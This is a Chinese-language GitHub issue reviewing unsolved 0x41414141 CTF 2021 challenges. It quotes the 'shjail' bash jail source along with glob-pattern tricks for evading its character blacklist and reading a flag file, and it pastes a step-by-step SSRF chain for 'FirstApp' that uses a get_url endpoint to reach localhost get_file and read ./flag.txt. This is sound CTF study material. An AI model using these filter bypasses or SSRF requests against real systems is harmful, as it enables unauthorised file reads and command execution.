aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

0x41414141 CTF 2021 - 檢討 #10

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

貼一下沒解出來的幾題找到的 writeup 還有可以檢討的地方

https://ctftime.org/event/1249/tasks/

shjail

題目:

#!/bin/bash
RED='\e[0;31m'
END='\e[0m'
GREEN='\e[0;32m'

while :
do
    echo "What would you like to say?"
    read USER_INP
        if [[ "$USER_INP" =~ ['&''$''`''>''<''/''*''?'txcsbqi] ]]; then
                echo -e "${RED}Hmmmm, what are you trying to do?${END}"
        else
                OUTPUT=$($USER_INP) &>/dev/null
                echo -e "${GREEN}The command has been executed. Let's go again!${END}"
        fi
done 

當初完全沒想到怎麼繞過那些,隨便試一下就放棄了

後來看到的 writeup 是這篇:https://github.com/ryan-cd/ctf/tree/master/2021/0x41414141/shjail

他用 od 來確認檔案是否存在,但是用 nl 也可以,可以用這樣找出可用的指令:

ls /usr/bin/[ad-hj-pruvwyz][ad-hj-pruvwyz]

不能輸入明確字母的部分可以用 [a-z] 來代替:flag.[a-z][a-z][a-z]

最後要輸出內容可以用錯誤訊息來輸出,例如說 perl flag.[a-z][a-z][a-z]

其他參考資料:

  1. https://linuxhint.com/bash_globbing_tutorial/
  2. https://www.linux.com/training-tutorials/using-square-brackets-bash-part-1/

FirstApp

https://github.com/ph03n11x/0x41414141-CTF/tree/main/0x41414141/FirstApp

有找到另外一篇但只貼在 discord:

http://207.180.200.166:3000/
http://207.180.200.166:3000/login
    # login with anything
http://207.180.200.166:3000/profile?id=zk
http://207.180.200.166:3000/profile?id=flag
    # guesswork 1
    # notice the image
http://207.180.200.166:3000/images/flag.jpg
    # similar to xft but larger... stegano

steghide the image:
    I made this cool feature that clones offshift website
    /get_url?url=http://www.offshift.io/

    I tried to serve it as local files but a lot of people abused the service to hack me 
    so now I limited it to localhost only

http://207.180.200.166:3000/get_url?url=http://www.offshift.io/
    # serve local files ?
http://207.180.200.166:3000/get_file
    # guesswork 2
    # but only locally ?
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file
    # param
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file?file[]
    # not useful, but confirms it's the payload
http://207.180.200.166:3000/get_url?url=http://localhost:3000/get_file?file=./flag.txt
    # guesswork 3

有人直接通靈出 get_file 跟 get_url 這兩個 url,有點厲害

但就算不是這樣,也需要從圖片中通靈出 flag.jpg 這個檔案的存在,然後從圖片中拿到訊息,就可以知道 get_url 這個網址 然後要通靈出 get_file,再通靈出參數叫做 file 然後就可以過關...

ctf 通靈能力點不夠高,看來要繼續磨練

waffed

https://github.com/sambrow/ctf-writeups-2021/tree/master/0x41414141/waffed

沒注意到試著用 * 之類的 pattern 去試,以後可以多嘗試一點東西

Factorize

先筆記一下

https://www.notion.so/Factorize-b96056dc70f54cc7b42b32f8984cb7cf

aszx87410 commented 3 years ago

fakecoin

https://github.com/josefkorbel/CTFWriteups/blob/master/FakeCoin/writeup.md

到驗證那一步就掛了,原本以為是要自己去戳那個 endpoint,沒想到可以讓 admin CSRF QQ 不過就算那邊過了後面也還是會掛掉就是了